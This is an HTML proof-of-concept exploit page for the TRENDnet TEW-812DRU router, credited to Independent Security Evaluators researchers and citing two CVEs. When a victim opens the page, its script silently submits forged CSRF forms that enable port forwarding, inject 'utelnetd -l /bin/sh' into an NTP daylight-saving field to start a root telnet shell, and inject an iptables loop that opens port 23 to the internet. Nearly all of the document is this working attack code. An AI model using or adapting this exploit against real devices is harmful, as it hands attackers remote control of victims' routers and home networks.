133 lines
No EOL
6 KiB
HTML
133 lines
No EOL
6 KiB
HTML
<html>
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<head>
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<title> TRENDnet TEW-812DRU CSRF - Command Injection > Shell Exploit.</title>
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<!--
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# CSRF Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators
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# Command Injection(s) Discovered by: Jacob Holcomb & Kedy Liu - Security Analysts @ Independent Security Evaluators
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# Exploited by: Jacob Holcomb - Security Analyst @ Independnet Security Evaluators
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# CVE: CSRF - CVE-2013-3098 & Multiple Command Injection - CVE-2013-3365
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# http://infosec42.blogspot.com
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# http://securityevaluators.com
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-->
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</head>
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<body>
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<img src="http://192.168.10.1/Images/logo.gif"><!--TRENDnet Logo for attack launch page -->
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<h1>Please wait... </h1>
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<script type="text/javascript">
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//Request to enable port forwarding to the routers internal IP on port 23
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//This exploit works without this request, but the exploit was more stable with it, so its included in thos PoC.
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function RF1(){
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document.write('<form name="portfwd" target ="_blank" action="http://192.168.10.1/uapply.cgi" method="post">'+
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'<input type="hidden" name="page" value="/advanced/single_port.asp">'+
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'<input type="hidden" name="forward_port_enable" value="0">'+
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'<input type="hidden" name="forward_port" value="24">'+
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'<input type="hidden" name="forward_port_proto0" value="tcp">'+
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'<input type="hidden" name="forward_port_from_start0" value="23">'+
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'<input type="hidden" name="forward_port_from_end0" value="23">'+
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'<input type="hidden" name="forward_port_to_ip0" value="192.168.10.1">'+
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'<input type="hidden" name="forward_port_to_start0" value="23">'+
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'<input type="hidden" name="forward_port_to_end0" value="23">'+
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'<input type="hidden" name="schedule0" value="0">'+
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'<input type="hidden" name="forward_port_enable0" value="on">'+
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'<input tpye="hidden" name="action" value="Apply">'+
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'</form>');
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}
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//Request to enable telnet
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function RF2(){
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document.write('<form name="enable23" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+
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'<input type="hidden" name="page" value="/adm/time.asp">'+
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'<input type="hidden" name="DSTenable" value="on">'+
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'<input type="hidden" name="NtpDstEnable" value="1">'+
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'<input type="hidden" name="NtpDstOffset" value="`utelnetd -l /bin/sh`">'+
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'<input type="hidden" name="NtpDstStart" value="030102">'+
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'<input type="hidden" name="tz_daylight_start_month_select" value="03">'+
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'<input type="hidden" name="tz_daylight_start_day_select" value="01">'+
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'<input type="hidden" name="tz_daylight_start_time_select" value="02">'+
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'<input type="hidden" name="NtpDstEnd" value="100102">'+
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'<input type="hidden" name="tz_daylight_end_month_select" value="10">'+
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'<input type="hidden" name="tz_daylight_end_day_select" value="01">'+
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'<input type="hidden" name="tz_daylight_end_time_select" value="02">'+
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'<input type="hidden" name="ntp_server" value="1">'+
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'<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+
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'<input type="hidden" name="time_zone" value="UCT_-11">'+
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'<input type="hidden" name="timer_interval" value="300">'+
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'<input type="hidden" name="manual_year_select" value="2012">'+
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'<input type="hidden" name="manual_month_select" value="01">'+
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'<input type="hidden" name="manual_day_select" value="01">'+
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'<input type="hidden" name="manual_hour_select" value="00">'+
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'<input type="hidden" name="manual_min_select" value="19">'+
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'<input type="hidden" name="manual_sec_select" value="57">'+
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'<input type="hidden" name="timeTag" value="manual">'+
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'</form>');
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}
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//Request to change iptables to allow port 23 from the WAN.
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function RF3(){
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document.write(
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'<form name="ipTableRule" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+
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'<input type="hidden" name="page" value="/adm/time.asp">'+
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'<input type="hidden" name="DSTenable" value="on">'+
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'<input type="hidden" name="NtpDstEnable" value="1">'+
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'<input type="hidden" name="NtpDstOffset" value="3600">'+
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'<input type="hidden" name="NtpDstStart" value="030102">'+
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'<input type="hidden" name="tz_daylight_start_month_select" value="03">'+
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'<input type="hidden" name="tz_daylight_start_day_select" value="01">'+
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'<input type="hidden" name="tz_daylight_start_time_select" value="02">'+
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'<input type="hidden" name="NtpDstEnd" value="`count=0;while [ $count -le 25 ]; do iptables -I INPUT 1 -p tcp --dport 23 -j ACCEPT;(( count++ ));done;`">'+
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'<input type="hidden" name="tz_daylight_end_month_select" value="10">'+
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'<input type="hidden" name="tz_daylight_end_day_select" value="01">'+
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'<input type="hidden" name="tz_daylight_end_time_select" value="02">'+
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'<input type="hidden" name="ntp_server" value="1">'+
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'<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+
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'<input type="hidden" name="time_zone" value="UCT_-11">'+
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'<input type="hidden" name="timer_interval" value="300">'+
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'<input type="hidden" name="manual_year_select" value="2012">'+
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'<input type="hidden" name="manual_month_select" value="01">'+
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'<input type="hidden" name="manual_day_select" value="01">'+
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'<input type="hidden" name="manual_hour_select" value="00">'+
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'<input type="hidden" name="manual_min_select" value="19">'+
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'<input type="hidden" name="manual_sec_select" value="57">'+
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'<input type="hidden" name="timeTag" value="manual">'+
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'</form>');
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}
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function createPage(){
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RF1();
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RF2();
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RF3();
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document.write('<iframe src="http://192.168.10.1/" target="_blank" width="100%" height="100%" frameborder="0" style="border: 0; position:fixed; top:0; left:0; right:0; bottom:0;"></iframe>');
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}
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function _portfwd(){
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document.portfwd.submit();
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}
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function _enable23(){
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document.enable23.submit();
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}
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function _ipTableRule(){
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document.ipTableRule.submit();i
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}
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//Called Functions
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createPage()
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for(var i = 0; i < 3; i++){
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if(i == 0){
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window.setTimeout(_portfwd, 1000);
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}
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else if(i == 1){
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window.setTimeout(_enable23, 2000);
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}
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else if(i == 2){
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window.setTimeout(_ipTableRule, 4000);
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}
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else{
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continue;
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}
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}
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</script>
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</body>
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</html> |